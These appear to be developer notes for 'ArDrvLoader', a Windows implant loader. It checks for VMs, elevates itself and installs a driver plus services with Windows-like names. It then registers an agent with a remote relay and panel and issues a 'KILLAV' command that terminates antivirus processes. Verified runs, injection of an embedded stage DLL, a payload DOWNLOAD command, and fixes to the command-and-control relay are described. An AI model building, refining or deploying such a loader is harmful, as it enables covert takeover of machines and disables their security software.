ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> [--agent <id>] [--no-killav]

Flow with no arguments:

1. VmGate, then self-elevation - one UAC
2. driver + three services + cloud agent service against the baked URL
3. wait for the agent to register (id = computer name)
4. queue KILLAV through the server so the run appears in the panel
5. print the result

Verified:

• binary scan: no server/worker strings
• no-arg dispatch reaches bootstrap and picks DESKTOP-RB1A813 as the agent id
• explicit-args bootstrap from one copied exe: services running, agent online, KILLAV done
• non-elevated run stops at Cannot write HKLM\SOFTWARE\ArDrvLoader, as expected

Single-exe client bootstrap

One file is enough on a fresh machine:

ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> \
    [--agent <id>] [--secret <agent-key>] [--target <path>] [--no-killav]

It elevates itself once, installs driver + three services + the cloud agent service pointing at the given URL, waits for the agent to register, then queues KILLAV through the server so the run is visible in the panel as a normal command. Driver image and stage payload are embedded, nothing else is copied.

start-all.cmd -Url https://relay.example is a thin wrapper for local testing; it starts nothing on the server side.

Offline detection fix: the panel compared last_seen (seconds) against interval * 3 (milliseconds), so an agent that had been dead for twenty minutes still showed as online. Now interval is converted to seconds, and stale agents render grey with online=false.

Installer retry: replacing the service binary right after stopping the services can hit a sharing violation while the old image is still mapped. The copy now retries for up to 10 s instead of failing the install and leaving the services stopped.

Verified with a single copied exe in an empty folder:

EXIT=0
services: DeviceSetupHost=Running ProgramCompatHost=Running ServiceStateHost=Running CloudTest=Running
agents:   newuser1 online, five older agents offline
commands: newuser1 KILLAV done  "OK EXECUTED killed=2 candidates=2"

Reliability fixes

Problem	Fix
A new loader kept injecting the old stage DLL	StageDllPath() now compares the embedded resource byte-for-byte with the file on disk and rewrites it when they differ
The 180 s reaper could make a slow command run twice	the agent keeps the last 512 executed command ids; a re-delivery is acknowledged as OK (dup, not re-executed) without running
SQLite writer contention and unbounded growth	relay opens with journal_mode=WAL, busy_timeout=5000, synchronous=NORMAL, and prunes once a minute

Retention defaults, overridable by env: commands older than 7 days, events older than 30 days, hard cap of 50,000 commands (RETAIN_COMMAND_DAYS, RETAIN_EVENT_DAYS, RETAIN_MAX_COMMANDS).

Verified:

stage dll zeroed (43008 bytes) -> -stage status rewrites it, first bytes are MZ
command requeued in sqlite     -> agent acks "OK (dup, not re-executed)"
relay start log                -> journal mode: wal

Still open

• Pin the Worker's public key (SPKI) so a rogue CA cannot MITM the channel.
• Encrypt HKLM\Software\CloudAgent secrets at rest with DPAPI (the guard config key is DACL-hardened, the cloud config key is not).
• DOWNLOAD leaves payloads on disk; add a retention/cleanup pass.
• Driver device object ACL cannot be verified from this repo (no driver source).